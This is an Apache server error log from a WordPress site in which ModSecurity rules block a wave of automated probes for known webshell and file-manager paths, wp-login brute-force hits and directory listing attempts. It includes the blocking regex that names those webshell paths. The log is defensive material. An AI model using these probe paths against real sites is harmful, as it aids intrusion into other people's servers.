[Thu Apr 09 14:33:01.907725 2026] [:error] [pid 24927:tid 24931] [client 45.95.243.14:65367] [client 45.95.243.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/default.php"] [unique_id "addIHTXObuzEuw8mNJt00gAAAQE"]
[Thu Apr 09 14:33:04.181591 2026] [:error] [pid 24927:tid 24942] [client 45.95.243.1:57827] [client 45.95.243.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "addIIDXObuzEuw8mNJt02QAAAQw"]
[Thu Apr 09 14:33:08.839162 2026] [:error] [pid 24624:tid 24646] [client 45.95.243.48:22697] [client 45.95.243.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "addIJO4Jn-WvK1ZBTvh8UQAAANQ"]
[Thu Apr 09 14:33:18.363440 2026] [:error] [pid 24515:tid 24523] [client 45.95.243.161:52851] [client 45.95.243.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "addILq1OMnvM2fMnB1M5wgAAAAQ"]
[Thu Apr 09 14:33:18.956715 2026] [proxy_fcgi:error] [pid 24516:tid 24547] [client 45.95.243.21:26033] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 14:33:22.176726 2026] [:error] [pid 24516:tid 24560] [client 45.95.243.21:26033] [client 45.95.243.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "addIMthW7vSS-UkeWCX3iwAAAE0"]
[Thu Apr 09 14:33:28.882950 2026] [proxy_fcgi:error] [pid 24624:tid 24650] [client 45.95.243.28:61933] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 14:33:30.300826 2026] [:error] [pid 24624:tid 24628] [client 45.95.243.28:61933] [client 45.95.243.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.95.243.28, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "addIOu4Jn-WvK1ZBTvh8bgAAAMI"]
[Thu Apr 09 14:33:36.102616 2026] [:error] [pid 24624:tid 24650] [client 45.95.243.28:61933] [client 45.95.243.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "addIQO4Jn-WvK1ZBTvh8dQAAANg"]
[Thu Apr 09 14:33:38.312808 2026] [:error] [pid 24517:tid 24595] [client 45.95.243.162:24203] [client 45.95.243.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "addIQnboYEn2ZFM_PS9JgwAAAJU"]
[Thu Apr 09 14:33:43.299490 2026] [:error] [pid 24517:tid 24594] [client 45.95.243.48:62479] [client 45.95.243.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "addIR3boYEn2ZFM_PS9JigAAAJQ"]
[Thu Apr 09 14:33:47.933308 2026] [:error] [pid 24517:tid 24575] [client 45.95.243.17:53377] [client 45.95.243.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "addIS3boYEn2ZFM_PS9JkwAAAIE"]
[Thu Apr 09 14:33:48.483900 2026] [:error] [pid 24517:tid 24591] [client 45.95.243.20:33025] [client 45.95.243.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "addITHboYEn2ZFM_PS9JlgAAAJE"]
[Thu Apr 09 14:33:54.430828 2026] [:error] [pid 24517:tid 24576] [client 45.95.243.4:48765] [client 45.95.243.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-feed-index.php"] [unique_id "addIUnboYEn2ZFM_PS9JtQAAAII"]
[Thu Apr 09 14:33:57.796681 2026] [proxy_fcgi:error] [pid 24927:tid 24944] [client 45.95.243.38:26195] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 14:33:58.084986 2026] [:error] [pid 24927:tid 24934] [client 45.95.243.38:26195] [client 45.95.243.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "addIVjXObuzEuw8mNJt1fQAAAQQ"]
[Thu Apr 09 14:34:00.324047 2026] [:error] [pid 24515:tid 24537] [client 45.95.243.24:25859] [client 45.95.243.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/db.php"] [unique_id "addIWK1OMnvM2fMnB1M5xwAAABI"]
[Thu Apr 09 14:34:00.921629 2026] [:error] [pid 24624:tid 24631] [client 45.95.243.38:41321] [client 45.95.243.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "addIWO4Jn-WvK1ZBTvh8fAAAAMU"]
[Thu Apr 09 14:34:01.487678 2026] [:error] [pid 24624:tid 24642] [client 45.95.243.1:37317] [client 45.95.243.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "addIWe4Jn-WvK1ZBTvh8fgAAANA"]
[Thu Apr 09 14:34:02.056555 2026] [:error] [pid 24927:tid 24951] [client 45.95.243.41:24457] [client 45.95.243.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "addIWjXObuzEuw8mNJt1hgAAARU"]
[Thu Apr 09 14:34:02.618035 2026] [:error] [pid 24927:tid 24936] [client 45.95.243.18:58243] [client 45.95.243.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "addIWjXObuzEuw8mNJt1iAAAAQY"]
[Thu Apr 09 14:34:03.176870 2026] [:error] [pid 24517:tid 24598] [client 45.95.243.27:41635] [client 45.95.243.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "addIW3boYEn2ZFM_PS9JwwAAAJg"]
[Thu Apr 09 14:34:06.704818 2026] [:error] [pid 24927:tid 24944] [client 45.95.243.12:37853] [client 45.95.243.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "addIXjXObuzEuw8mNJt1kQAAAQ4"]
[Thu Apr 09 14:34:07.255510 2026] [:error] [pid 24927:tid 24947] [client 45.95.243.3:58837] [client 45.95.243.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "addIXzXObuzEuw8mNJt1kwAAARE"]
[Thu Apr 09 14:34:07.810809 2026] [:error] [pid 24927:tid 24943] [client 45.95.243.17:20209] [client 45.95.243.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "addIXzXObuzEuw8mNJt1ngAAAQ0"]
[Thu Apr 09 14:34:08.369816 2026] [:error] [pid 24927:tid 24932] [client 45.95.243.46:29203] [client 45.95.243.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "addIYDXObuzEuw8mNJt1ogAAAQI"]
[Thu Apr 09 14:34:08.922298 2026] [:error] [pid 24515:tid 24533] [client 45.95.243.36:26729] [client 45.95.243.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/options.php"] [unique_id "addIYK1OMnvM2fMnB1M5zgAAAA4"]
[Thu Apr 09 14:34:09.509599 2026] [proxy_fcgi:error] [pid 24517:tid 24577] [client 45.95.243.41:23993] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 14:34:12.737387 2026] [:error] [pid 24517:tid 24590] [client 45.95.243.41:23993] [client 45.95.243.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.95.243.41, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "addIZHboYEn2ZFM_PS9JywAAAJA"]
[Thu Apr 09 14:34:18.613163 2026] [:error] [pid 24517:tid 24576] [client 45.95.243.41:23993] [client 45.95.243.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/goto.php"] [unique_id "addIanboYEn2ZFM_PS9J0QAAAII"]
[Thu Apr 09 14:34:38.009145 2026] [:error] [pid 24624:tid 24636] [client 45.95.243.10:57105] [client 45.95.243.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "addIfu4Jn-WvK1ZBTvh81QAAAMo"]
[Thu Apr 09 14:34:38.761769 2026] [:error] [pid 24927:tid 24949] [client 45.95.243.3:50303] [client 45.95.243.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "addIfjXObuzEuw8mNJt10AAAARM"]
[Thu Apr 09 14:34:39.326117 2026] [:error] [pid 24517:tid 24595] [client 45.95.243.30:28083] [client 45.95.243.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "addIf3boYEn2ZFM_PS9J5gAAAJU"]
[Thu Apr 09 14:34:48.798397 2026] [:error] [pid 24927:tid 24943] [client 45.95.243.3:31551] [client 45.95.243.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "addIiDXObuzEuw8mNJt14QAAAQ0"]
[Thu Apr 09 14:34:52.373727 2026] [:error] [pid 24517:tid 24582] [client 45.95.243.26:46289] [client 45.95.243.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "addIjHboYEn2ZFM_PS9J_AAAAIg"]
[Thu Apr 09 14:34:52.966526 2026] [:error] [pid 24516:tid 24558] [client 45.95.243.4:24419] [client 45.95.243.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "addIjNhW7vSS-UkeWCX3qwAAAEs"]
[Thu Apr 09 14:34:58.688809 2026] [:error] [pid 24517:tid 24582] [client 45.95.243.17:27943] [client 45.95.243.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "addIknboYEn2ZFM_PS9KCwAAAIg"]
[Thu Apr 09 14:35:01.010401 2026] [:error] [pid 24927:tid 24930] [client 45.95.243.162:35295] [client 45.95.243.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "addIlTXObuzEuw8mNJt15wAAAQA"]
[Thu Apr 09 14:35:04.778855 2026] [:error] [pid 24624:tid 24638] [client 45.95.243.14:24173] [client 45.95.243.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "addImO4Jn-WvK1ZBTvh8-AAAAMw"]
[Thu Apr 09 14:35:20.091050 2026] [:error] [pid 24927:tid 24952] [client 45.95.243.27:34175] [client 45.95.243.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/index.php"] [unique_id "addIqDXObuzEuw8mNJt2EQAAARY"]
[Thu Apr 09 14:35:22.473811 2026] [:error] [pid 24517:tid 24584] [client 45.95.243.32:33745] [client 45.95.243.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/about.php"] [unique_id "addIqnboYEn2ZFM_PS9KIgAAAIo"]
[Thu Apr 09 14:35:31.278757 2026] [:error] [pid 24517:tid 24577] [client 45.95.243.25:49087] [client 45.95.243.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-sup.php"] [unique_id "addIs3boYEn2ZFM_PS9KNAAAAIM"]
[Thu Apr 09 14:35:34.879359 2026] [:error] [pid 24516:tid 24566] [client 45.95.243.3:47585] [client 45.95.243.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "addItthW7vSS-UkeWCX30wAAAFM"]
[Thu Apr 09 14:35:40.936262 2026] [:error] [pid 24927:tid 24949] [client 45.95.243.1:45469] [client 45.95.243.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "addIvDXObuzEuw8mNJt2ZgAAARM"]
[Thu Apr 09 14:35:46.864974 2026] [:error] [pid 24927:tid 24947] [client 45.95.243.42:65097] [client 45.95.243.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "addIwjXObuzEuw8mNJt2fQAAARE"]
[Thu Apr 09 14:36:00.369565 2026] [autoindex:error] [pid 24517:tid 24596] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:03.257848 2026] [autoindex:error] [pid 24517:tid 24586] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:13.128279 2026] [autoindex:error] [pid 24517:tid 24587] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:14.629772 2026] [autoindex:error] [pid 24517:tid 24574] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:19.002143 2026] [autoindex:error] [pid 24517:tid 24580] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:19.309931 2026] [autoindex:error] [pid 24517:tid 24583] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:19.740178 2026] [autoindex:error] [pid 24517:tid 24584] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:22.721915 2026] [autoindex:error] [pid 24517:tid 24594] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:23.103898 2026] [autoindex:error] [pid 24517:tid 24589] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:36:24.398643 2026] [autoindex:error] [pid 24517:tid 24591] [client 45.95.243.6:57487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
